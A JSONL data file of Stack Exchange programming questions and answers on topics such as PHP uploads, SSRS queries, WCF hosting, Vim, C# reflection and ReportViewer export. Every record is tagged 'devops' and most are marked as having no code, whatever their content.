{"id": "hf_3d83ba4e5f87", "question": "<p>How to post a username, password and multiple binary files from a single html form and process it using php? I'm not allowed to use ajax.</p>\n", "question_body": "", "answer": "You should use the\n```\n$_FILES\n```\nsuperglobal and\n```\nmove_uploaded_file()\n```\nfunction to see which files were uploaded successfully and move them to their final location in case they were.\nThe\n```\n$_POST\n```\nsuperglobal will contain the submitted username and password.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.503068"}
{"id": "hf_9c8bfcfdd2ae", "question": "<p>I'm looking for the most ideal data structure (for performance and ease of use) from which values can be retrieved by string key or index.  Dictionary doesn't work because you can't really retrieve by index.  Any ideas?</p>\n", "question_body": "", "answer": "Hash based collections (Dictionary, Hashtable, HashSet) are out because you won't have an index, since you want an index, I'd use a nested generic:\n```\n```\nList<KeyValuePair<K,V>>\n```\n```\nOf course, you lose the O(1) Key lookup that you get with hashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.543749"}
{"id": "hf_6044707b5238", "question": "<p>Given a function which produces a random integer in the range 1 to 5, write a function which produces a random integer in the range 1 to 7.</p>\n", "question_body": "", "answer": "Are homework problems allowed here?\nThis function does crude \"base 5\" math to generate a number between 0 and 6.\n```\n```\nfunction rnd7() {\n    do {\n        r1 = rnd5() - 1;\n        do {\n            r2=rnd5() - 1;\n        } while (r2 > 1);\n        result = r2 * 5 + r1;\n    } while (result > 6);\n    return result + 1;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.604137"}
{"id": "hf_9360393650fb", "question": "<p>I have a report in SSRS 2005 that's based on a query that's similar to this one: </p>\n\n<pre><code>SELECT * FROM MyTable (NOLOCK) \nWHERE col1 = 'ABC'\nAND col2 LIKE '%XYZ%'\n</code></pre>\n\n<p>I need to be able to dynamically include the AND part of the WHERE clause in the query based on whether the user has checked a checkbox. Basically, this is a dynamic SQL statement and that's the problem. I tried several approaches to no avail. Is this possible? Does SSRS 2005 supports dynamic SQL? Thanks!</p>\n", "question_body": "", "answer": "Perhaps this would work for you:\n```\n```\nif @checked = 1\n    select * from mytable (nolock) where col = 'ABC'\nelse\n    select * from mytable (nolock) where col = 'ABC' AND colw Like '%XYZ%'\n```\n```\nI'm sorry I don't use SSRS much, but if you can get the value of the checkbox into the @checked parameter this should work.\nAlternately you could use a CASE WHEN statement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.627011"}
{"id": "hf_0d76998d3ff2", "question": "<p>So I am working on a project that uses a ASP.NET server and we have entities being passed over WCF from LINQ-to-Entity queries. I have already overcome the cyclic reference issue with WCF. Now that I am looking toward the next step, the Flex UI, I am wondering what things people have already faced either with dealing with WCF from Flex or using Entities with Flex (Entities from the entity framework)? And Flex suggestions, libraries, patterns and tips would help. Thanks.</p>\n\n<p>Things that would help:</p>\n\n<ul>\n<li>How to \"persist\" or dupe entities on the UI side.</li>\n<li>Security, how to secure communication from the UI to the service.</li>\n<li>How to generate/pass new entities from the UI to the service and have then interprete as .NET entities</li>\n</ul>\n", "question_body": "", "answer": "You have several options for communicating between Flex application and your WCF service. Flex supports both SOAP web services and REST-like web services so you can choose which approach fits you best. When you receive data on the client, you will need to extract the entities from the response and build the UI accordingly. Similar with updating or creating new entities - you will need to construct a web service request from your user interface controls and send it over the wire.\nAlso look into AMF which is a binary format for communicating between Flex/Flash and a server. There are .NET implementations out there (AMF.NET for instance) so it may be possible to somehow make it work with WCF - you need to explore this area yourself, I have no direct experience here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.649863"}
{"id": "hf_2b82cf60a217", "question": "<p>Does anyone happen to remember the function name used to generate sequential row number built-in SQL Server 2000.</p>\n", "question_body": "", "answer": "If you are making use of GUIDs this should be nice and easy, if you are looking for an integer ID, you will have to wait for another answer.\n```\n```\nSELECT newId() AS ColId, Col1, Col2, Col3 FROM table1\n```\n```\nThe newId() will generate a new GUID for you that you can use as your automatically generated id column.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.673886"}
{"id": "hf_51182a4595d0", "question": "<p>Does your software handle newline characters from other systems?</p>\n\n<pre><code>Linux/BSD    linefeed         ^J    10     x0A\nWindows/IBM  return linefeed  ^M^J  13 10  x0D x0A\nold Macs     return           ^M    13     x0D\nothers?\n</code></pre>\n\n<p>For reasons of insanity, I am going with using the Linux version of the newline character in my text files.  But, when I bring my text files over to say Windows, some programs do not play nicely with newline characters in my text.  How would you deal with this?</p>\n", "question_body": "", "answer": "I suspect you will find that most modern Windows programs (with the notable exception of Notepad) handle newline-only files just fine. However, files generated with windows programs still tend to have crlf endings.\nMost of the time, the line endings will automatically be handled in a platform-specific way by the runtime library. For example, a C program that opens a file with\n```\nfopen(..., \"r\")\n```\nwill see the lines in a consistent way (linefeed only) on any platform regardless of the actual line endings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.721053"}
{"id": "hf_46a560c94375", "question": "<p>We have an existing WCF service that makes use of wsDualHttpBinding to enable callbacks to the client. I am considering moving it to netTcpBinding for better performance, but I'm quite wary of moving away from the IIS-hosted service (a \"comfort zone\" we currently enjoy) into having our own Windows service to host it. I was hoping we could still host this on IIS 7 but Win2K8 won't be reality for us for some time.</p>\n\n<p>What things should I watch out for when creating our own Windows service to host our WCF service? Things like lifetime management and request throttling are features that come free with IIS hosting so I'd also like to know how we can effectively host our service on our own without the convenience of having IIS do the hard work for us. Thanks! :)</p>\n", "question_body": "", "answer": "Hosting in a Windows Service Application (\nhttp://msdn.microsoft.com/en-us/library/ms734781.aspx\n) is a good start.\nIf you can host your service on Vista, you can also benefit from Windows Process Activation Service (WAS). WAS is a generalization of the IIS process activation, which can be used to activate processes over non-HTTP endpoints (TCP, Named Pipe, MSMQ). To learn more about WCF hosted in WAS, read\nhttp://msdn.microsoft.com/en-us/library/ms733109.aspx\n. To learn how to install and configure WAS, read\nhttp://msdn.microsoft.com/en-us/library/ms731053.aspx\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.745883"}
{"id": "hf_b424fba39e9a", "question": "<p>Using Ruby and Thin as a web service.  Apache is also loaded.  Can't access the web service because listing ports, such as <code>:3000</code> or <code>:6600</code>, in the GET url is not allowed.  How is the port requirement removed?</p>\n", "question_body": "", "answer": "Use Apache ProxyPass.\ncd /etc/apache2/sites-enabled/\nsudo vi 000-default\nEdit Lines:\n\n    ServerAdmin webmaster@localhost\n    ProxyPass /breakfast\nhttp://localhost:4567/breakfast\nDocumentRoot /var/www\nsudo /etc/init.d/apache2 restart", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.786602"}
{"id": "hf_894bbea18562", "question": "<p>In Java, there is a practice of declaring every variable (local or class), parameter final if they really are.</p>\n\n<p>Though this makes the code a lot more verbose, this helps in easy reading/grasping of the code and also prevents mistakes as the intention is clearly marked.</p>\n\n<p>What are your thoughts on this and what do you follow?</p>\n", "question_body": "", "answer": "I have never been in a situation where having a final keyword on a variable has stopped me from making a mistake, so for the moment I think it's a giant waste of time.\nUnless there is a real reason for doing it (as in you want to make a specific point about that variable being final) I would rather not do it since I find it makes the code less readable.\nIf, however, you don't find it makes the code harder to read or longer to write then by all means go for it.\nEdit:\nAs a clarification (and an attempt to win back down-votes), I'm not saying don't mark constants as final, I'm saying don't do stuff like:\n```\n```\npublic String doSomething() {\n  final String first = someReallyComplicatedExpressionToGetTheString();\n  final String second = anotherReallyComplicatedExpressionToGetAnother();\n\n  return first+second;\n}\n```\n```\nIt just makes code (in my opinion) harder to read.\nIt's also worth remembering that\nall\nfinal does is prevent you from reassigning a variable, it doesn't make it immutable or anything like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.811619"}
{"id": "hf_f192e7eb17b8", "question": "<p>In Vim editor I opted <code>]I</code> on a function (in C++ code). \nThis presented a list, which says <em>'Press ENTER or type command to continue'</em>.</p>\n\n<p>Now to jump to an occurrence say 6, I type <code>6</code> - but this is not working.</p>\n\n<p>What commands can I type in such a case, and how do I jump to Nth occurrence from this list?</p>\n\n<p><strong>Update:</strong></p>\n\n<p>Actually I tried <a href=\"https://stackoverflow.com/questions/137935/how-to-jump-to-an-occurrence-from-vim-search-list#137942\">:N</a> (eg :6) - but the moment I type <code>:</code> Vim enters Insert mode, and the colon gets inserted in the code instead.</p>\n\n<p><strong>Update</strong></p>\n\n<p>Assuming <a href=\"https://stackoverflow.com/questions/137935/how-to-jump-to-an-occurrence-from-vim-search-list#137942\">:N</a> approach is correct, still complete uninstall and install of Vim, without any configuration, too did not help - though now typing <code>:</code> does not switch Vim to insert mode.</p>\n", "question_body": "", "answer": "It should present you a list like:\n```\n```\n1:   345 my_func (int var)\n2:  4523 my_func (int var)\n3: 10032 my_func (3);\n```\n```\nThe second column is line numbers. Type :345 to jump to line 345.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.922726"}
{"id": "hf_767468b8959b", "question": "<p>I'm working on a django app right and I'm using cherrypy as the server. Cherrypy creates a new thread for every page view. I'd like to be able to access all of these threads (threads responsible for talking to django) from within any of them. More specifically I'd like to be able to access the thread_data for each of these threads from within any of them. Is this possible? If so, how do I do it?</p>\n", "question_body": "", "answer": "My first response to a question like this isn't to tell you how to do it but to stress that you really should reconsider before moving forward with this. I normally shy away from threaded web-servers, in favor of multi-process or asynchronous solutions. Adding explicit inter-thread communication to the mix only increases those fears.\nWhen a question like this is asked, there is a deeper goal. I suspect that what you think inter-thread communication would solve can actually be solved in some other, safer way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.947238"}
{"id": "hf_12a0021758d8", "question": "<p>I have an ASP.NET Datagrid with several text boxes and drop down boxes inside it. I want to read all the values in the grid using a JavaScript function. How do i go about it?</p>\n", "question_body": "", "answer": "Easily done with jQuery. I don't recall what kind of markup the Datagrid creates but basically something like this will work in Jquery\n```\n```\n$('#client_id_of_datagrid input, #client_id_of_datagrid select')\n.each(function() {val = this.value; /* Do Stuff */})\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:29.971039"}
{"id": "hf_ac8ea26d874a", "question": "<p>I am looking for all addresses related to:</p>\n\n<ul>\n<li>3.x eclipse itself (milestones and/or integration builds)</li>\n<li>3.x other components (GEF, GMF, EMF, ...)</li>\n</ul>\n\n<p>In the spirit of <a href=\"https://stackoverflow.com/questions/18557/how-does-stackoverflow-work-the-unofficial-faq#119658\">answering my own question</a>, I do have an answer for:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/138004/do-you-know-update-site-addresses-for-latest-eclipse-35-components#138013\">3.5 eclipse itself, with some details and <strong>caveats</strong></a>,</li>\n<li><a href=\"https://stackoverflow.com/questions/138004/do-you-know-update-site-addresses-for-latest-eclipse-3-5-components/1464210#1464210\"><strong>3.6 Helios</strong>, with the steps involved to follow the updates</a>.</li>\n</ul>\n\n<p>However, If you have further addresses, either for eclipse or other eclipse components, please publish them here.</p>\n", "question_body": "", "answer": "Update September 2009\n: see also\naddresses for eclipse 3.6 Helios\nFor eclipse itself, the\neclipse wiki\n3.5milestones\nhttp://download.eclipse.org/eclipse/updates/3.5milestones\n3.5-I-builds\nhttp://download.eclipse.org/eclipse/updates/3.5-I-builds\nHowever, the Milestone names are not there yet.\n(For instance, the build number there is 20080807 is assumed to be 3.5M1)\nThe update site will be added as a location for builds in order to get published to automatically:\nsee bug\n248509\nWarning: the update process in itself might generate some freeze (see bug\n234916\n) which might be solved by using a local http client (bug\n220240\n).\nMeaning you should first update your eclipse installation with the\nECF_Apache_Httpclient-Based_Provider update site\n(\nhttp://download.eclipse.org/technology/ecf/httpclientrepo\n), then try the different update sites mentionned for eclipse components.\nUpdate May 2009\nThe page \"\ncompare package\n\" now provides all links to different released packages\n(See links to the left of the page: Europa 3.3, Ganymede 3.4, Ganymede SR1, and Galileo 3.5Mx)\nThe\ncurrent available Galileo M6\nlists packages built with M6 release. That address will soon be not valid since\nGalileo M7 has just been published\n(May, 2d 2009).\nThe new Galileo packages (M7) will then be at\nthis address\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.057958"}
{"id": "hf_cb2860dded35", "question": "<p>Is it possible to call a COM API from Java (specifically the HP/Mercury Quality Center OTA API)? If so, what's the best way?</p>\n\n<p>Is something like JACOB appropriate?</p>\n\n<p>Code fragments would be helpful for the basics :-)</p>\n", "question_body": "", "answer": "jacob : yes,\nhttp://sourceforge.net/projects/jacob-project/\nis an active project that will suite your purpose pretty well.\nyou can see multiple examples :\nhttp://jacob-project.wiki.sourceforge.net/Event+Callbacks\nbut if you want something that is more tested and are willing to pay money, then go for\nhttp://www.nevaobject.com/_docs/_java2com/java2com.htm\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.100222"}
{"id": "hf_01e03abafeea", "question": "<p>After a bind a method to an event of a Tkinter element is there a way to get the method back?</p>\n\n<pre><code>&gt;&gt;&gt; root = Tkinter.Tk()\n&gt;&gt;&gt; frame = Tkinter.Frame(root, width=100, height=100)\n&gt;&gt;&gt; frame.bind('&lt;Button-1&gt;', lambda e: pprint('Click')) # function needed\n&gt;&gt;&gt; frame.pack()\n&gt;&gt;&gt; bound_event_method = frame.???\n</code></pre>\n", "question_body": "", "answer": "Doesn't appear to be... why not just save it yourself if you're going to need it, or use a non-anonymous function?\nAlso, your code doesn't work as written:\n```\nlambda\n```\nfunctions can only contain expressions, not statements, so\n```\nprint\n```\nis a no-go (this will change in Python 3.0 when\n```\nprint()\n```\nbecomes a function).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.124476"}
{"id": "hf_fed1a9d5df01", "question": "<p>Is there something like <a href=\"http://effbot.org/zone/python-getattr.htm\" rel=\"noreferrer\">Python's getattr()</a> in C#? I would like to create a window by reading a list which contains the names of controls to put on the window.</p>\n", "question_body": "", "answer": "Use reflection for this.\n```\nType.GetProperty()\n```\nand\n```\nType.GetProperties()\n```\neach return\n```\nPropertyInfo\n```\ninstances, which can be used to read a property value on an object.\n```\n```\nvar result = typeof(DateTime).GetProperty(\"Year\").GetValue(dt, null)\n```\n```\n```\nType.GetMethod()\n```\nand\n```\nType.GetMethods()\n```\neach return\n```\nMethodInfo\n```\ninstances, which can be used to execute a method on an object.\n```\n```\nvar result = typeof(DateTime).GetMethod(\"ToLongDateString\").Invoke(dt, null);\n```\n```\nIf you don't necessarily know the type (which would be a little wierd if you new the property name), than you could do something like this as well.\n```\n```\nvar result = dt.GetType().GetProperty(\"Year\").Invoke(dt, null);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.171585"}
{"id": "hf_3313c546edac", "question": "<p>The questions says everything, take this example code: </p>\n\n<pre><code>&lt;ul id=\"css-id\"&gt;\n    &lt;li&gt;\n    &lt;something:CustomControl ID=\"SomeThingElse\" runat=\"server\" /&gt;\n    &lt;something:OtherCustomControl runat=\"server\" /&gt;\n    &lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>Now if an error gets thrown somewhere inside these controlls (that are located in a master page) they will take down the entire site, how would one catch these exceptions?</p>\n", "question_body": "", "answer": "You can catch all exception not handled elswhere in the Global.asax page / class. \nLook at:\n```\n```\nprotected void Application_Error(Object sender, EventArgs e)\n```\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.241593"}
{"id": "hf_28dd13866d16", "question": "<p><strong>Scenario:</strong> C# apps uses SQL2000. It excecute 3 stored procs within a try catch in the app. In the catch the error is suppressed. Due to some legalities, the c# code cannot be changed and implemented. </p>\n\n<p><strong>Q:</strong> How do I trap the actual SQL error in the stored proc into a log file or other table? @@Error returns an error message to the app but when evaluated in query analyzer it is always 0 although the 'If @@Error &lt;> 0' does fire. I try to store the @@Error number, but it is always 0.</p>\n\n<p>Please help.</p>\n", "question_body": "", "answer": "Haven't got an example to hand, but look at using\n```\n```\nRAISERROR ... WITH LOG\n```\n```\nsee:\nhttp://msdn.microsoft.com/en-us/library/aa238452(SQL.80).aspx\nfor more on this.\nOr use:\n```\n```\nxp_logevent {error_number, 'message'} [, 'severity']\n```\n```\nto write to the event log.  More details at\nhttp://msdn.microsoft.com/en-us/library/aa260695(SQL.80).aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.266194"}
{"id": "hf_d32ba5b9f5ec", "question": "<p>I have a Window where I have put a Frame. I would like to add a Page to the Frame when I click a button that is also on the Window but not in the Frame. There are several buttons in the Window and each click on a button should load a different Page in the Frame.</p>\n\n<p>Since I'm a total newbie on this WPF stuff it's quite possible that this approach is not the best and I have thought about replacing the Frame with a Canvas and then make UserControls instead of Pages that will be added to the Canvas. I welcome any ideas and suggestions on how to best solve this. </p>\n\n<p>I aiming for a functionality that is similar to the application Billy Hollis demonstrated in dnrtv episode 115. (<a href=\"http://dnrtv.com/default.aspx?showID=115\" rel=\"noreferrer\">http://dnrtv.com/default.aspx?showID=115</a>). </p>\n", "question_body": "", "answer": "the Frame class exposes a method named \"Navigate\" that takes the content you want to show in your frame as parameter.\ntry calling\n```\n```\nmyFrame.Navigate(myPageObject);\n```\n```\nthis should work", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.317642"}
{"id": "hf_a4209da46749", "question": "<p>Is there a way in Delphi 7 to find out if a pop-up menu is visible (shown on the screen) or not, since it lacks a Visible property.</p>\n", "question_body": "", "answer": "You could make your own flag by setting it in the OnPopup event. The problem is knowing when the popupmenu is closed.\nPeter Below\nhas a solution for that.\nBut my I ask why you would want this? Maybe there is a better way to solve the underlying problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.366365"}
{"id": "hf_9290a76883bc", "question": "<p>Is there an app that can change the order of images inside an icon?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "What you'll need to do that is a resource editor. A\ngoogle search\nwill reveal many free ones out there. The\nrestorator\nis a great one, but not free and over-priced IMO.\nAny decent resource editor will allow you to see icons in the exe or dll and save them or replace them. I don't know of any that will allow you to reorder them, but just about any out there would allow you to save the icons out and then replace them back in the exe/dll in whatever order you'd like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.390740"}
{"id": "hf_dea220715c27", "question": "<p>how to send rich text message in system.net.mail need code for send a mail as html</p>\n", "question_body": "", "answer": "```\n```\nSystem.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage();\nmm.Body = \"<html>...</html>\";\nmm.IsBodyHtml = true;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.427133"}
{"id": "hf_d33d63601387", "question": "<p>What essential things (functions, aliases, start up scripts) do you have in your profile?</p>\n", "question_body": "", "answer": "```\n```\n############################################################################## \n# Get an XPath Navigator object based on the input string containing xml\nfunction get-xpn ($text) { \n    $rdr = [System.IO.StringReader] $text\n    $trdr = [system.io.textreader]$rdr\n    $xpdoc = [System.XML.XPath.XPathDocument] $trdr\n    $xpdoc.CreateNavigator()\n}\n```\n```\nUseful for working with xml, such as output from svn commands with --xml.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.513644"}
{"id": "hf_f6fbf08300a4", "question": "<p>I use several referenced tables with integer primary keys. Now I want to change ints to GUIDs leaving all references intact. What is the easiest way to do it?</p>\n\n<p>Thank you!</p>\n\n<p><strong>Addition</strong></p>\n\n<p>I do understand the process in general, so I need more detailed advices, for example, how to fill new GUID column. Using default value newid() is correct, but what for already existing rows?</p>\n", "question_body": "", "answer": "Firstly: Dear God why?!?!?\nSecondly, you're going to have to add the GUID column to all your tables first, then populate them based on the int value.  Once done you can set the GUIDs to primary/foreign keys then drop the int columns.\nTo update the value you'd do something like\nSet the new GUIDs in the primary key table\nRun this:\n.\n```\n```\nUPDATE foreignTable f\nSET f.guidCol = p.guidCol\nFROM primaryTable p\nWHERE p.intCol = f.intCol\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.602913"}
{"id": "hf_0a9a1ee86457", "question": "<p>In the Flex framework a custom preloader can be used while the site is loading.</p>\n\n<p>In the <a href=\"http://livedocs.adobe.com/flex/3/html/help.html?content=app_container_4.html\" rel=\"nofollow noreferrer\">Adobe docs</a> it specifies that '<strong>the progress bar [preloader] is displayed if less than half of the application is downloaded after 700 milliseconds of downloading.</strong>'</p>\n\n<p>However I ALWAYS want the preloader to appear instantly since I know that 95% of our users are first time visitors and the site is over 500kb. I dont want people to have to wait .7 seconds for the preloader animation to appear.</p>\n\n<p>I would think in theory that it is possible to 'monkey patch' the framework to remove this .7 second limitation. I dont have time to figure out how, and I've never done it before.</p>\n\n<p>Anybody help?</p>\n", "question_body": "", "answer": "This is in mx.preloaders::DownloadProgressBar.as, line 1205 in the\n```\nshowDisplayForDownloading\n```\nfunction.\nOld school monkey-patching is out with AS3, but you can either edit the Flex source and compile yourself a new framework.swc (apparently a pain), or just include it in your source path (source paths override .swcs); or derive your own preloader class from DownloadProgressBar that just overrides\n```\nshowDisplayForDownloading\n```\nand returns true.\nYou can find the framework source in '%PROGRAMFILES%\\Adobe\\Flex Builder 3[ Plug-in]\\sdks\\3.0.0\\frameworks\\projects\\framework\\src', then the package path. Change the sdk version if you are using 3.1, or whatever.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.625224"}
{"id": "hf_bf7a9f8d912c", "question": "<p>Is it possible for a stand alone executable to generate a report and output it as PDF (or one of the other export options available from the report viewer) without displaying the ReportViewer control? </p>\n\n<p>The report definition should be embedded in the executable and should not use the Reporting Services web service.</p>\n", "question_body": "", "answer": "You don't have to show the control itself.\n```\n```\nReportViewer rv = new ReportViewer();\nrv.LocalReport.ReportPath = \"templatepath\";\n// or use file from resource with rv.LocalReport.ReportEmbeddedResource\n\n// add parameters, datasource, etc.\n\nWarning[] warnings;\nstring[] streamids;\nstring mimeType;\nstring encoding;\nstring filenameExtension;\n\nbyte[] bytes;\nbytes = rv.LocalReport.Render(\"PDF\", null, out mimeType, out encoding, out filenameExtension, out streamids, out warnings);\n\n// save byte[] to file with FileStream or something else\n```\n```\nHowever it can render only PDF and XLS (as ReportViewer control cannot export to Word and others as Reportig Service can).\nI forgot to mention that the above code is C#, using .NET framework and ReportViewer control. Check out\nGotReportViewer\nfor a quickstart.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.647204"}
{"id": "hf_4ddd8b50922c", "question": "<p>Does anybody know a good tutorial about Squid plug-in development?</p>\n", "question_body": "", "answer": "There is one in the squid documentation.  IIRC it's fairly straightforward - squid forks a process and passes data down a pipe to the process.  A somewhat out-of-date but still relevant programmer's guide can be found\nHere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.670982"}
{"id": "hf_e2024c25f21a", "question": "<p>I am trying to access a Windows Media Player library from ASP.NET.</p>\n\n<p>The following code:</p>\n\n<p>WMPLib.WindowsMediaPlayer mplayer = new WMPLib.WindowsMediaPlayer();</p>\n\n<p>WMPLib.IWMPStringCollection list = mplayer.mediaCollection.getAttributeStringCollection(\"artist\", \"audio\");</p>\n\n<p>Returns an non-empty list when run using the VS2005 development web server but an empty list when using IIS.</p>\n\n<p>Setting impersonation with:</p>\n\n<p>System.Security.Principal.WindowsImpersonationContext impersonationContext = ((System.Security.Principal.WindowsIdentity)User.Identity).Impersonate();</p>\n\n<p>Doesn't help. It seems that WMPLib still doesn't thinks its running as a user who has a library. </p>\n\n<p>Is there a way to get around this?</p>\n", "question_body": "", "answer": "Have you tried configuration via web.config in ASP.NET? When you're running in the VS2005 debugger, you're (probably) running code as yourself, but when under IIS you'll be running it as IUSR_\nmachinename\nor another low-permission system account.\nTry adding something like this to your web.config file:\n```\n```\n<system.web>\n<identity impersonate=\"true\" userName=\"MYDOMAIN\\myuser\" password=\"p@ssw0rd\" />\n</system.web>\n```\n```\nNo idea whether this works with Media Player specifically, but it works for other identity/security related problems like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:30.714792"}
